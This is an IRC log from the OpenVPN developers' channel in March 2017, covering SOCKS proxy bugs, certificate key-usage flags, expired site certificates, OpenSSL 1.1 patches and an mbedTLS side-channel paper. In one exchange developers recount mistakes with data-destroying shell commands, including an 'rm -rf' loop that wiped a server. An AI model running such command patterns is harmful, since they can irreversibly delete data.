tpw_rules> ((idk if my proxy is compatible with RFC, is what i'm failing to say...)) 11:02 <@dazo> tpw_rules: thx! That is a very plausible explanation indeed! 11:43 -!- plai [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 11:43 -!- mode/#openvpn-devel [+o plai] by ChanServ 11:45 -!- Netsplit *.net <-> *.split quits: @plaisthos 13:22 * cron2_ has tested with "ssh -D" and that works nicely, and with "danted", which also works nicely... 13:22 <@cron2_> tpw_rules: which proxy are you using? 13:23 < tpw_rules> cron2_: it's called tethered, it's an ios sideloaded app 13:24 <@cron2_> mmmh. this makes inclusion in our test suite somewhat hard 13:24 < tpw_rules> are there no other proxies that use that mode? 13:26 <@cron2_> I have no idea... it is hard enough to find working SOCKS proxies with UDP and v6 support 13:27 < tpw_rules> i mean openvpn isn't following the spec it seems. but yeah a test for the future would be nice 13:27 <@cron2_> did you put a pointer to "the spec" in the trac ticket? (didn't look yet) 13:27 < tpw_rules> yeah, in a comment 13:28 <@cron2_> ok, thanks... will have to read and verify (and try to find a SOCKS proxy that runs on unix which does mode 3) 13:29 <@cron2_> sock.c is mostly inherited code from the people that contributed to openvpn before any of the currently active developers became involved - so for us it's always a bit of archeology to figure out whether something is a bug or fully intentional 13:30 < tpw_rules> to be honest i'm not too sure any will. i think the author of mine was just lazy, it sends back exactly the address openvpn requests. it's odd behavior but doesn't seem to be incompliant. another reason i believe openvpn to be broken, it can't handle a response formatted identically to how it sent it 13:30 <@cron2_> bugs that go undetected for 5+ years hint at "nobody else has a proxy that uses that mode" 13:30 <@cron2_> yeah 13:31 < tpw_rules> the only other person having a problem like mine, the person had a custom .net inhouse job 13:31 < tpw_rules> which also worked fine with other applications 13:31 <@cron2_> a-ha :) 13:32 < tpw_rules> mine works fine with firefox and curl 13:33 < tpw_rules> idk i understand your point but i'm hoping the response isn't "i can't reproduce it and only 1 guy uses it anyway so we don't care" 13:33 < tpw_rules> but if it's accepted, i'm happy. it took a few hours with wireshark to ferret out... 13:33 <@cron2_> nah. If there is a RFC that clearly states how things should be, this is good enought to go and fix it (not today, I'm on vacation) 13:34 < tpw_rules> hah fair enough. this is in preparation for such. where are you at? 13:34 <@cron2_> being able to look at "old code failing, new code working" is more easy to verify things are indeed good :) 13:34 <@cron2_> Radstadt, Austria - snowboarding 13:34 < tpw_rules> oh cool. i want to live in europe at some point 13:35 < tpw_rules> idk about move, but it's looking more and more attractive *cough* 13:35 <@cron2_> I've been told skiing in the US is much nicer - larger resorts, less crowded 13:35 <@cron2_> never tried :) 13:35 < tpw_rules> well i assume austria is closer to you 13:36 <@cron2_> yeah, live in DE, so it's about 200km drive - 2.5h to 5h, depending on traffic jam 13:37 < tpw_rules> oh that's where i want to go. i'm hoping to in a couple semesters. what area? 13:37 < tpw_rules> (also just like me: could be skiing, on irc ;P) 13:40 < tpw_rules> anyway i hope you have a good time. the bug report emails me so just put any further questions there 16:49 <@vpnHelper> RSS Update - tickets: #850: Wrong IPv6 route to VPN endpoint added <https://community.openvpn.net/openvpn/ticket/850> --- Day changed Sat Mar 04 2017 05:50 <@ordex> don't ski and type at the same time! 05:50 <@ordex> ;P --- Day changed Sun Mar 05 2017 01:21 <@cron2_> mattock: buildslave-offline notifications work great now 01:22 <@cron2_> (and netbsd 7 should be fixed for good now - they ship with an older openvpn 2.3 version which chokes on peer-id changes -> restart -> user nobody -> blam) 03:56 <@vpnHelper> RSS Update - gitrepo: OpenSSL: don't use direct access to the internal of RSA_METHOD <https://github.com/OpenVPN/openvpn/commit/09776c5b52df13121504e07894a26d5cd1883317> 04:13 <@cron2_> syzzer: can your ACKs on 15/15 v2 and 13/15 v1 go in "as is", or do these need to wait for a resolution on 05/15? 04:32 <@syzzer> cron2_: 13/15 and 15/15 can go in as-is, no dependencies on the others 04:36 <@syzzer> and I think the --ns-cert-type deprecation warning patch should go in 'asap' 05:27 <@cron2_> doesn't that cause a conflict with (the suggested amendments to) 05/15? 05:28 <@cron2_> I have only spent very little time there, admittedly, but saw a suggestion to change --ns-cert-type 05:29 <@syzzer> cron2_: no, these should not be related to that 05:29 <@syzzer> or do you mean the deprecation? 05:29 <@cron2_> yes 05:30 <@syzzer> that *could* be made part of 05/15, but I thought it would be better to get the warning in asap 05:30 <@cron2_> ok, will look at it later today 05:30 <@syzzer> then we can look into the right way to tackle the behaviour change later 05:31 <@syzzer> great, thanks 05:31 * syzzer out for lunch 06:29 <@vpnHelper> RSS Update - gitrepo: OpenSSL: use EVP_CipherInit_ex() instead of EVP_CipherInit() <https://github.com/OpenVPN/openvpn/commit/8d00afae88b626c9cf14170a943b33a7ed378070> || OpenSSL: SSLeay symbols are no longer available in OpenSSL 1.1 <https://github.com/OpenVPN/openvpn/commit/c828ffc648eebda20e2f9087248944fa0f52a582> 06:30 <@cron2_> *sigh* 06:30 <@cron2_> our own corp VPN configs have "ns-cert-type server"... 06:32 <@cron2_> ... and if I change the config to "--remote-cert-tls server", this is what openvpn barfs at me... 06:32 <@cron2_> Sun Mar 5 13:29:51 2017 Validating certificate key usage 06:32 <@cron2_> Sun Mar 5 13:29:51 2017 ++ Certificate has key usage 00b0, expects 00a0 06:32 <@cron2_> Sun Mar 5 13:29:51 2017 ++ Certificate has key usage 00b0, expects 0088 06:32 <@cron2_> Sun Mar 5 13:29:51 2017 VERIFY KU ERROR 06:32 <@cron2_> syzzer: can you translate? 06:46 <@vpnHelper> RSS Update - gitrepo: travis-ci: add 'make distcheck' to test scenario, V2 <https://github.com/OpenVPN/openvpn/commit/56e6bd8967d72c4374389dfd5cf32f5e3b86242c> 07:23 <@cron2_> plaisthos: could you have a look at your buildslave? It seems a t_client test is hanging -> all new tests complain about "FAIL: IPv4 ping test succeeded, but needs to *fail*" 08:00 <@syzzer> cron2_: freely translated it would be "your CA got the flags wrong"; 00b0 = X509v3_KU_DIGITAL_SIGNATURE | X509v3_KU_KEY_ENCIPHERMENT | X509v3_KU_DATA_ENCIPHERMENT, 00a0 = X509v3_KU_DIGITAL_SIGNATURE | X509v3_KU_KEY_ENCIPHERMENT, 0088 = X509v3_KU_DIGITAL_SIGNATURE | X509v3_KU_KEY_AGREEMENT 08:12 <@syzzer> oh, and it tries to say that it expects *either* 00a0 or 0088... 08:18 <@syzzer> ... which seems to be both too strict and too loose at the same time ... 08:18 <@syzzer> hrmpf, this needs some attention too 08:19 <@syzzer> (but your CA still got the flags wrong; DATA_ENCIPHERMENT makes no sense for a TLS cert) 12:26 <@cron2_> syzzer: *sigh*. The person running our corporate CA is somewhat of a self-appointed security guy - "he reads stuff on the Internet, and then follows it slavishly", but rarely *thinks* about settings and consequences 12:27 <@cron2_> we managed to replace him as CISO (success!), but the CA part worked "well enough" so far, so I didn't bother to take up yet another fight 12:27 <@cron2_> anyway 12:28 <@cron2_> syzzer: shall we add an example "this should be in your openssl.cnf" somewhere, where it's easily found? Maybe to the mail thread? 13:22 < slypknot> forums.openvpn.net uses an invalid security certificate. 13:22 < slypknot> The certificate expired on 05/03/17 18:22. The current time is 05/03/17 19:09. 13:22 < slypknot> Error code: SEC_ERROR_EXPIRED_CERTIFICATE 13:23 < slypknot> mattock: ecrist ^^ 13:40 <@cron2_> all this security shit just gets in the way... 13:41 < slypknot> the alternattive would be letting people like me run the place ;D 13:41 * slypknot even shudders ! 13:44 <@cron2_> nah, the alternative is to get a proper job, 9-5 working hours, and a free weekend :) --- Day changed Mon Mar 06 2017 02:20 <@syzzer> cron2_: this 9-5 job thing doesn't guarantee free weekends ;-) 02:21 <@syzzer> cron2_: re CA, the setup is weird, but should not actually break according to the X509 spec. That's OpenVPN's fault, because it seems we implemented 'our own interpretation'... 02:22 <@syzzer> I had to go do social stuff yesterday, but I started working on a patch to fix that 02:28 <@cron2_> syzzer: having OpenVPN tolerate our weird CA would certainly be a much easier approach :-) 02:28 <@syzzer> you should make sure both get fixed, of course ;) 02:29 <@cron2_> indeed 04:28 <@plai> cron2_: I killed the prcoesses 04:28 <@plai> should be fine now? 06:04 <@cron2_> plai: thanks. We'll see on the next build run 07:03 < valdikss> http://pbs.twimg.com/media/C6OpRf-U8AAvPBK.jpg:orig 07:08 <@syzzer> valdikss: yeah, I read that last weekend. Cool attack. Even more so because this hints that it might even be possible to extract your RSA keys by running javascript in your browser while mbedTLS reconnects... 07:09 <@syzzer> full paper: https://arxiv.org/pdf/1702.08719.pdf 07:09 < valdikss> Yeah, what a world to live in! 07:10 < valdikss> Hardware is so complex that you exploit it instead of software 07:16 <@syzzer> valdikss: well, that fact that browsers are remote-code-execution-by-design can hardly be called a hardware bug ;) 07:17 < valdikss> syzzer: well, JS in browser is very limited and yet it can have influence on the hardware 08:14 <@plai> yeah 08:14 <@plai> optimisation for speed vs side channel 08:15 <@plai> and it seems people are getting really good in using the little information they get from sidechannel 08:15 <@plai> (i.e. bits entropy therotically presents in a side channel vs bits actually recovered in a real implementation) 08:16 <@plai> OpenVPN is probably mentioned because "look at project that use mbedtls and pick the one that most people know about" 08:17 <@plai> from the wikipedia list of OpenVPN, Hiawatha, PowerDNS and Monkey HTTP Server I would also taken OpeNVPN :) 08:30 <@cron2_> PowerDNS can use mbedTLS? 09:00 <@syzzer> cron2_: Bert Hubert is also ex-Fox-IT, which probably has something to do with that 09:01 <@syzzer> (like Paul Bakker, the mbed TLS captain, is ex-Fox-IT) 09:34 <@cron2_> hrhr, you're infiltrating the corporate world with your spies... 10:05 <@cron2_> (as we are doing with the munich IT companies... we train our trainees, and when they know the trade, they go out and work for our suppliers or customers, which can come in quite nicely :) ) 10:11 <@syzzer> heh, yeah, this "networking" thing has a totally different meaning in the corporate world 10:45 <@vpnHelper> RSS Update - tickets: #852: SSL Certificate for community.openvpn.net expired <https://community.openvpn.net/openvpn/ticket/852> || #851: Memory leakage <https://community.openvpn.net/openvpn/ticket/851> 12:36 <@cron2_> awwww 12:36 <@cron2_> our reformatting messed up init.c/do_open_tun() in interesting ways 12:37 <@cron2_> it has an opening { inside an #ifndef, and that causes a closing bracked *inside* the function to be not indented at all 12:39 <@cron2_> plai: is your trac nick "plai" or "Plaisthos"? 12:40 <@cron2_> #851 seems to be "#ifdef TARGET_ANDROID" only 12:56 < slypknot> Any chance of an update : https://forums.openvpn.net/viewtopic.php?f=30&t=23563&p=68497#p68496 12:56 <@vpnHelper> Title: Trouble with OpenVPN repositories - OpenVPN Support Forum (at forums.openvpn.net) 12:57 < slypknot> mattock: ecrist 13:00 <@dazo> slypknot: I've alerted people inside the company already ... I hope they'll pick this up quickly 13:03 < slypknot> dazo: thanks .. i am surprised it be left to fail like this .. 13:03 <@dazo> slypknot: me too! 13:03 <@dazo> In previous jobs, we had shared calendars where this was tracked so we could take care of it before the expiry date 13:03 < slypknot> it feels like a double standard (when I get banned from openvpn for having a go at an arse) 13:04 < slypknot> this effect a lot of people .. and no reply from anybody (other than you) 13:05 <@dazo> well, to be fair ... In mattock's time zone, it's 9PM in the evening .... while ecrist is probably busy at his day job (which is not openvpn related) 13:05 < slypknot> Set a reminder on their effin phones !!!!! 13:06 < slypknot> poor .. very poor 13:08 < slypknot> They have also had 24 hours to at last respond 13:09 <@dazo> well, point taken ... let's leave it at that for now ... we can evaluate what could be improved once this is fixed 13:15 <@cron2_> slypknot: please tone down your language 13:16 <@cron2_> being impolite and pushy isn't going to make anyone more willing to help out or fix things - you're not a paying customer that thinks he can shout at support people because he pays so much money 13:21 < slypknot> one simple acknowledgement in 24hours is not being pushy .. I am only feeding back from the forum 13:22 < slypknot> sorry about the other comment 13:46 <@dazo> slypknot: it might surprise you, but quite few of the OpenVPN company pays attention to the forums and the community wiki and such sites ... it is mostly mattock and I who does that 13:46 <@dazo> which I believe is a deliberate choice by the company, as they want the community to be a real community of real users ... not deeply influenced by hired people 13:47 <@dazo> the company on the other hand sponsors what is needed to keep most of those sites alive 13:47 <@dazo> (plus it have hired people like mattock and myself) 13:53 < slypknot> dazo: thanks .. i dont want to go on anymore .. i am just surprised that there is no feedback in 24 hours from anybody that knows for those that don't over an issue as sensitive as (what looks like) the entire openvpn online presence .. 13:53 < slypknot> if further discussion is required .. perhaps one of the mailing lists is more appropriate 13:57 < slypknot> or maybe in a meeting 13:59 <@dazo> slypknot: which time zone are you in? 14:00 < slypknot> GMT 14:01 <@dazo> okay ... well, as most of us on the community side is in GMT+1 or more ... we haven't really noticed until this morning ... plus, mattock is the guy who mostly manages these boxes - whom I haven't seen active online today ... so unless someone sent him an e-mail, he haven't noticed 14:01 <@dazo> Things worked great last evening when i was quickly checking a few things too 14:02 < slypknot> which was obviously before they expired .. 14:02 < slypknot> 19:17:37 slypknot | The certificate expired on 05/03/17 18:22. The current time is 05/03/17 19:09. 14:03 <@dazo> exactly ... so my point is ... 24h isn't necessarily a reasonable response time if those being involved in the managing it doesn't have some automatic alerts, isn't notified and at the same time haven't been online 14:03 * slypknot disagrees 14:04 <@dazo> I am NOT saying that is a good reason to not improve this. It must be improved, but that is to be evaluated once the people involved in the sys-admin side arrives online 14:05 < slypknot> i am only the messanger .. i am not going to be drawn any further on it .. my opinion is clear 14:05 <@dazo> fair enough. My opinion is that you are unreasonable in your expectations, but I respect that you have your own opinion on this matter. 14:09 <@cron2_> dazo: well, since he's paying such large amounts of money, he's fully entitled for a 2h express service, no? ;-) 14:10 <@cron2_> (but indeed, expiring SSL certs is lame... happens to me every few years, because that stuff just stinks) 14:13 <@dazo> :) 19:36 < slypknot> syzzer: good greif ! | We extract 96 % of a 4096-bit RSA private key from a single Prime+Probe trace and achieve full key recovery from only 11 traces within 5 minutes. --- Day changed Tue Mar 07 2017 01:49 <@cron2_> mattock: meeting wednesday? 02:22 <@syzzer> slypknot: yes, these side channels really are something to consider. Though these numbers are not for the default mbed configuration; they've reduced the sliding window for the RSA computation from the default size '6', to '1', which - as far as I understand - speeds up their attack 02:22 <@syzzer> looks like taking more traces would still allow the attack though 02:23 <@syzzer> so if you want to guard against this: smartcards (or e.g. dedicated OpenVPN servers and 2FA for clients) 05:09 <@vpnHelper> RSS Update - tickets: #853: down-root: fatal error: err.h: No such file or directory <https://community.openvpn.net/openvpn/ticket/853> 05:30 <@vpnHelper> RSS Update - tickets: #853: AIX: down-root: fatal error: err.h: No such file or directory <https://community.openvpn.net/openvpn/ticket/853> 05:38 <@cron2_> someone is really trying to compile openvpn on AIX 05:38 * cron2_ is awed 07:27 <@ecrist> hello 07:27 <@ecrist> did the community server ssl certificate expiry get resolved? 07:28 <@ecrist> apologies for not seeing the issue sooner - I've been sick for a few days, therefore somewhat AFK 07:29 <@dazo> ecrist: I don't think so ... haven't seen mattock in a few days ... but I can try to grab the certificate for you and mail it 07:29 <@ecrist> I'm digging in to it now - if you have a new one, great, otherwise I'll fire up letsencrypt 07:31 <@ecrist> dazo: it's already fixed 07:31 <@dazo> ahh, wonderful! 07:31 <@ecrist> someone swapped the certificate yesterday. Begins On 01/04/2017, Expires On 03/05/2018 07:31 <@dazo> I couldn't log into the box where the certs where located ... so good it's fixed :) 07:32 <@dazo> uhm ... okay :) we've gotten a new wildcard certificate with 3 years expiry ... so we can consider to swap to those, but mattock is the one with access to those files currently 07:33 <@ecrist> ok, we can let him do it then - should probably get it for the forums, too. 07:33 <@dazo> yeah ... or swap to letsencrypt and "forget about it" :) 13:44 <@cron2_> has mattock resurfaced? 14:32 <@dazo> nope 14:32 <@dazo> not even online on the internal chat 14:36 <@vpnHelper> RSS Update - tickets: #854: TLS Renegotiation Slowdown <https://community.openvpn.net/openvpn/ticket/854> --- Day changed Wed Mar 08 2017 06:46 <@cron2_> haha :-) - final word on the SHA1 collision, and the consequences... http://www.commitstrip.com/en/2017/02/27/17279/ 06:46 <@vpnHelper> Title: CommitStrip | CommitStrip Blog (at www.commitstrip.com) 07:18 <@dazo> heheh 14:12 <@mattock> it seems our mini-vacation was timed well, just in time to see our SSL certs expire :P 14:13 <@mattock> anyways, I'm back to some degree for the rest of the week 14:19 < slypknot> some degree = 3rd degree ;) .. w.b. hope you had some fun :) 14:54 <@cron2_> mattock: welcome back, you just missed our bi-weekly meeting :) 15:42 < valdikss> Hi. I started a mobile network operator security check project and I'd like to check as many operators in as many countries as I can. If any of you have the opportunity to provide me a virtual machine with Linux connected to your e.g. mobile phone in tethering mode for several hours, that would be great. 20:56 < slypknot> Lest you forget: http://www.commitstrip.com/en/2017/02/24/why-it-takes-so-long/ 20:56 <@vpnHelper> Title: Why it takes so long | CommitStrip (at www.commitstrip.com) 20:57 < slypknot> FYI: I never made such demands except in jest .. 20:59 < slypknot> http://www.commitstrip.com/en/2016/03/14/a-quick-question-for-alpha-go/ 20:59 <@vpnHelper> Title: A quick question for Alpha Go | CommitStrip (at www.commitstrip.com) 21:00 < slypknot> Rage : http://www.commitstrip.com/en/2016/12/08/humain-against-machine/ 21:00 <@vpnHelper> Title: Humain against Machine | CommitStrip (at www.commitstrip.com) 21:00 < slypknot> LD 21:00 < slypknot> :D --- Day changed Thu Mar 09 2017 05:14 <@cron2_> syzzer: fixing networking code on WIN32? wtf? :) 06:03 <@syzzer> cron2_: yeah, I'm working on OpenVPN-NL 2.4, so have to build and test for windows again ;) 06:09 <@syzzer> cron2_: why is it that we use #ifdef _WIN32 in our code, instead of TARGET_WIN32 (like we do with TARGET_* for the other platforms)? 06:10 <@plai> because of history? 06:10 <@plai> does cygwin define WIN32? 06:10 <@plai> (does openvpn even work with cygwin?) 06:11 <@syzzer> cron2 changed all the #ifdef WIN32 to #ifdef _WIN32 recently, because WIN32 is only defined if you include the right headers (or something like that) 06:12 <@syzzer> but for all other platforms, we have a TARGET_<plat> define that we set once in config.h, and then use in the code 06:14 <@syzzer> ... and my IDE like the second approach better, so I was wondering if I should send a patch to make that consistent for windows too (and make my IDE happy again) 06:36 <@plai> which ide are you using? 07:06 <@cron2_> syzzer: I assume that it is because MSVC does not set TARGET_ 07:06 <@cron2_> but _WIN32 is well-defined to be always there 07:09 <@syzzer> cron2_: aha, indeed! because config.h is generated by autoconf, which doesn't work for MSVC 07:43 <@syzzer> cron2_, plai: there's one more warning that I'm not sure about what to do: https://paste.sh/rUaXlPmi#qqABElD1Sy1O-aFFlhAes0eR 07:48 <@cron2_> that might be a mingw artefact 07:49 <@cron2_> I seem to remember that this is coded exactly according to MS documentation for GetBestInterfaceEx()... 07:49 <@cron2_> (so: compare header definitions of mingw vs. real windows, and open a bug against mingw if that is indeed the cause) 09:44 <@d12fk> https://msdn.microsoft.com/en-us/library/windows/desktop/aa365922(v=vs.85).aspx 09:44 <@d12fk> real windows == mingw 09:48 <@d12fk> i guess there's just a cast missing 09:48 <@d12fk> https://msdn.microsoft.com/en-us/library/windows/desktop/aa814468(v=vs.85).aspx 09:49 <@d12fk> they should be layed out the same in memory 10:20 <@cron2_> d12fk: yeah, but adding a cast because mingw header is not right is the wrong way to go - if what we do agrees with MS documentation, we shouldn't add a cast 10:20 <@cron2_> "not right" is a strong word, sockaddr thingies are always a mess... 10:28 <@d12fk> yes but in this case the signature is identical with the one in MSDN 10:29 <@d12fk> so we're "not right" here 12:28 <@cron2_> ah, I think I know where this is coming from 12:29 <@cron2_> GetBestRoute2() wants a SOCKADDR_INET, while GetBestInterfaceEx() wants a sockaddr, for the same function 12:50 < eworm> Release time is near, no? 12:56 <@cron2_> well, mattock is hiding 14:03 < eworm> Anybody should unhide him. :-p 16:32 < slypknot> lol .. unable to add attchment to https://community.openvpn.net/openvpn/attachment/ticket/828 16:32 <@vpnHelper> Title: Ticket #828 – Attachments – OpenVPN Community (at community.openvpn.net) 16:32 < slypknot> Trac detected an internal error: 16:32 < slypknot> IndexError: list index out of range --- Day changed Fri Mar 10 2017 08:59 <@dazo> Definition of the "ohnosecond" ... https://twitter.com/nixcraft/status/757951762049355776 :-P 09:09 <@d12fk> i like the view on the face, pretty much exactly what is going on after an rm -rf / 09:11 < danhunsaker> "Stupid [censored] keyboard, I didn't [censored] hit Enter yet, you [censored] [censored] [censored]!" 09:52 <@dazo> I actually hit a nasty one not too long ago ... rm -f $(cat files | grep /var/tmp) .... it was just that a few of the lines in the files line contained "** /var/tmp/tmpxx...." ... and my CWD was /etc/postfix .... on a mail server 11:54 < danhunsaker> Gotta have that ^ in your regex. 12:15 <@dazo> danhunsaker: well, that was the challenge ... the file wasn't so organized ... it was a log file, where the file path wasn't on a fixed location ... but would need to have a far better regex indeed 12:17 <@dazo> having a group match and extract the file name string from the group would have avoided that 12:21 < danhunsaker> At the very least, `[^*.]/var/tmp` 12:51 <@cron2_> dazo: useless use of cat detected... 12:52 <@cron2_> and, of course, that's why you do "grep ... | xargs rm", unless you *want* shell-metas... 12:54 <@dazo> cron2_: yeah, absolutely ... but you know how it is ... you start once place ... and it evolves :) .... but I wasn't aware xargs could be a saviour against such things 12:54 <@cron2_> yeah, you have to get bitten once to look for alternatives :) 12:55 <@cron2_> colleague of mine once did this: 12:55 <@cron2_> grep ... filelist | 12:55 <@cron2_> while read $r 12:55 <@cron2_> do 12:55 <@cron2_> rm -rf $r/ 12:55 <@cron2_> done 12:55 <@dazo> ouch 12:55 <@cron2_> indeed... first thing the script did was "kill /bin", so he could no longer log in, and only watch as the NFS-exported FTP mirror of munich technical university disintegrated... 12:56 <@dazo> oh f*** 12:56 <@cron2_> (he might even have called "$r/", just to be safe, but overlooked that "read $r" won't put anything *into* r, so "rm -rf /" it was... 12:56 <@dazo> that's when you run faster than Usain Bolt to the server room to unplug the NIC 12:56 <@cron2_> the server was something like 10km away... 12:56 <@dazo> eeek 12:57 <@cron2_> unplugging the NIC wouldn't have helped, the script ran *on* that FTP server - he had it NFS mounted, and could see how stuff went away 12:57 <@dazo> ahh, I see 12:57 <@cron2_> it was like 50 Gbyte of stuff, in the age of "a 2Mbit/s line is fast Internet" 13:00 <@dazo> that is actually potentially on the same scale what happened in the data centres which the majority of banks uses in Norway .... two harddrives in a RAID had broken down, hot plug and everything. So the sys-admin goes to replace the drives. But had misread which drives to replace, so he managed to pull out two of the working disks - but with enough time in between for the panic to completely spread ... and a large database went offline, 13:00 <@dazo> rendering lots of payment transactions into the void 13:01 <@dazo> (that server had a misconfigured RAID 5, so the data wasn't spread out as the initial design) 13:04 <@cron2_> ozuch 13:08 <@dazo> that incident actually caused lots of political interference for some time 16:04 <@vpnHelper> RSS Update - tickets: #855: openvpn should check that there's a working TAP before even attempting to create a tunnel <https://community.openvpn.net/openvpn/ticket/855> --- Day changed Sat Mar 11 2017 21:39 -!- Netsplit *.net <-> *.split quits: @cron2_ --- Day changed Sun Mar 12 2017 06:30 -!- cron2 [gert@openvpn/community/developer/cron2] has joined #openvpn-devel 06:30 -!- mode/#openvpn-devel [+o cron2] by ChanServ 10:44 -!- floppym_ is now known as floppym 13:27 <@vpnHelper> RSS Update - gitrepo: travis-ci: remove unused files <https://github.com/OpenVPN/openvpn/commit/85ac77c90bba0a912625ad6926a9595c3192f902> 13:45 <@vpnHelper> RSS Update - gitrepo: Fix types in WIN32 socket_listen_accept() <https://github.com/OpenVPN/openvpn/commit/33e1a869fc6edb6bce5816b11dbecfaca57b20d4> 21:04 < slypknot> can anybody explain what "gc_arena" really is ? 21:09 <@ordex> aloha! :) 21:09 * ordex is finally back ! 21:25 < slypknot> back from space ? 21:26 < slypknot> ecrist: buildbot tincan-arch64 seems to be blocked on the server side 21:38 <@ordex> slypknot: more or less :P --- Day changed Mon Mar 13 2017 02:58 <@cron2> ordex: welcome back :-) - you haven't missed much 02:58 <@cron2> slypknot: it's a memory pool for "transient stuff" that can be freed in one go by calling gc_free() 02:58 <@cron2> makes C buffer/memory/... things MUCH more convenient 02:59 * ordex loved the gc concept 02:59 <@ordex> very convenient. although you have to make sure to be using the right collector. Otherwise you may carry around stuff forever, even though they are not needed anymore :- 03:00 <@ordex> P 03:00 <@cron2> ordex: true. Using the *right* gc can be quite a challenge :-) 03:01 <@ordex> :D 07:59 <@ecrist> slypknot: why are you telling me? 08:15 <@dazo> syzzer: crazy idea ... automated --tls-auth to --tls-crypt upgrade ... at least by a server option 08:19 <@ordex> "guess" if the client is configured for tls-crypt and use it, otherwise fallback to tls-auth ? 08:20 <@dazo> there is peer-info which can be used to get an idea of version/features supported 08:21 <@dazo> but yeah, something like "guess" 08:29 <@syzzer> dazo: tls-auth/crypt works on all the handshake bits that you need to do way before there is something like peer-info ;) 08:30 <@syzzer> so *if* we were to do something like that, it would indeed be guessing, as ordex says 08:31 <@syzzer> but I don't really like guessing with crypto 08:31 <@ordex> syzzer: does it mean that if we are using tls-auth/crypto is a "preshared" knowledge that need to be there ? 08:32 <@ordex> needs to be there before starting any communication, that is 08:36 <@cron2> ordex: which is the point, yes 08:36 <@ordex> I see 08:36 <@cron2> "it protects the TLS layer from sniffing (-crypto) or garbaging (-auth) by people that do not know the secret" 08:36 <@ordex> which is what you want to avoid traffic inspection (I guess) 08:37 <@ordex> yeah 08:37 <@ordex> but you could first exchange a small openvpn handshake before moving to setting up TLS, but that DPI would detect openvpn easily, and tls-crypt would lose part of its usefulness 08:37 < slypknot> ecrist: sorry, i thought you managed the server, anyway samuli fixed the problem, which was 50 login limit now is 150 login limit. 08:37 <@dazo> syzzer: yeah, I see the challenge around it :) ... would just be a nice feature to allow gradually migration 08:51 <@dazo> syzzer: just thinking aloud ... server configured with --tls-crypt + --tls-crypt-upgrade (which will require --key-direction), client configured with --tls-auth. Server tries to decrypt control channel, but fails - then tries just HMAC auth instead ... if successful, mark connection as "tls-auth-only" and proceed accordingly 08:52 <@dazo> Does this classify as "guessing"? 09:26 <@syzzer> dazo: yes, that would be possible of course. But there are some things that could fail here, and I'm not sure it's worth it. We should e.g. discourage using the same key for tls-crypt and tls-auth (so add extra options to supply both keys). And one of the things this mechanism is used for is (D)DoS protection, which becomes weaker if we do more work on initial packets... 09:33 <@dazo> fair points ... and hence the need for an additional option ... but I'm not going to push hard for this feature ... Just knowing it would help many with migration 14:03 < gringotts> Hello, I'm setting up openvpn with PAM authentication. My question is, do I still need to use add certs to the openvpn server if i am using ldap auth? 14:25 <@ecrist> it depends on how you want to secure things 14:25 <@ecrist> you can use --client-cert-not-required and then the openvpn client behaves much like a web browser 14:26 <@ecrist> but, you lose the added layer of security a client certificate provides. 14:26 <@ecrist> I'd suggest also using tls-auth 14:26 <@dazo> or tls-crypt if having only v2.4 clients --- Day changed Tue Mar 14 2017 03:00 <@cron2> mattock: meeting tomorrow? 04:21 <@syzzer> meeting tomorrow would work for me 05:42 <@mattock> meeting ok for me too 05:42 <@mattock> topics? 05:45 <@mattock> hmm, previous meeting's summary was for 22nd Oct 2017 05:45 <@mattock> :) 05:47 <@mattock> tentative topic list here: https://community.openvpn.net/openvpn/wiki/Topics-2017-03-15 05:47 <@vpnHelper> Title: Topics-2017-03-15 – OpenVPN Community (at community.openvpn.net) 06:17 <@cron2> 2.4.1 release :) 08:14 <@mattock> ok :) 08:14 <@mattock> openssl 1.1 support patches are all in? 08:16 <@mattock> invitation sent 08:20 <@cron2> no, but that wasn't a pre-requisite for 2.4.1 release - a number of bugfixes are in (especially windows membership stuff, both in gui and in openvpn-iservice) 08:20 <@mattock> we can keep those on the topic list nevertheless I think 08:26 <@cron2> about half of the openssl 1.1 patches are in, the other half is waiting for syzzer for review, and 05 is stuck in discussion how to proceed between dazo and syzzer... so "openssl 1.1 support patches / way forward with --ns-cert-type" should go to the agenda... 08:30 <@mattock> added, though a link to previous discussion would be useful 09:26 <@cron2> Message-Id: <e5e93420586b24b7df5b2f5ac2df02ccec5ffdb1.1487368114.git.logout@free.fr> 09:26 <@cron2> that's 05, and the thread that follows 09:28 <@dazo> cron2: mattock: plus there is the patch from ordex, for auth-nocache ... which I've had my fingers too much into to review objectively 09:28 <@cron2> plus Message-Id: <1488653397-2309-1-git-send-email-steffan@karger.me> 09:29 <@cron2> dazo: true, but I'm not sure this is something we can actually get *reviewed* at the meeting (that doesn't seem to work out) - but "raise awareness, find vict^Wvolunteers" is useful too 09:33 <@dazo> auth-nocache patch: 20170225004014.28638-1-a@unstable.cc 09:34 <@dazo> 5 files changed, 54 insertions(+), 2 deletions(-) ... may sound scary, but roughly half of the lines added are code comment 09:35 <@dazo> s 09:47 <@ordex> dazo: cron2: would it make sense to implement some tests for the auth* thing in t_client.rc and let it go through the buildbot? maybe that would help increasing the confidence in the change ? 09:48 <@mattock> can you guys add the links to the topic page? I have split _now_ and won't be back until late evening 09:58 <@cron2> ordex: of course, but "someone needs to do this" (and this is why we still do not have auth/challenge tests *sigh*) 10:06 <@ordex> yeah .. I could propose myself, although I may create tests that I know will work :D and leave out meaningful configurations 10:21 <@dazo> W00T!?!?! g++ takes -Weffc++ ... Adds warnings when not following several recommendations from Scott Meyers' "Effective C++" book .... 10:25 <@plai> oh? 10:26 <@plai> I can see project being spammed with non sensensical patches because -Weffc++ said that it is wrong! 10:36 <@ordex> LOL 10:36 <@dazo> hehe ... yeah :) 10:37 <@ordex> I want -Wordex too!! 10:37 <@ordex> :D 10:37 <@dazo> LOL! 10:37 <@dazo> ordex: you'll have write a book first! ;-) 10:37 <@ordex> darn :D 10:55 <@plai> and have a good style 10:56 <@plai> not like Linus, write a self biography and have a strange C coding style 10:58 <@ordex> hehe, sorry but I grew up with the kernel coding style :P 10:58 <@ordex> trying to adapt now .. but it's still hard :-P 10:59 * dazo actually likes Linux kernel coding style most of all .... 10:59 <@plai> no C++ allowed does not help for g++ :P 13:33 < UbAh> I hope this is an acceptable place to ask for help. My CA and server certs expired, and i was able to renew my ca cert using the old ca key in the hopes I wouldnt have to update all the user keys. For the server.crt I tried "openssl req -new -config /etc/openvpn/server.conf -keyout server.key -out server.req" but it complains about the config file so thats not what was used to make it originally with the build script 13:35 < UbAh> where does the original conf get stored when you create the keys using the initial build tools 14:25 < slypknot> UbAh: this channel is for openvpn developement .. for support please go to #openvpn 14:27 < UbAh> sorry, I 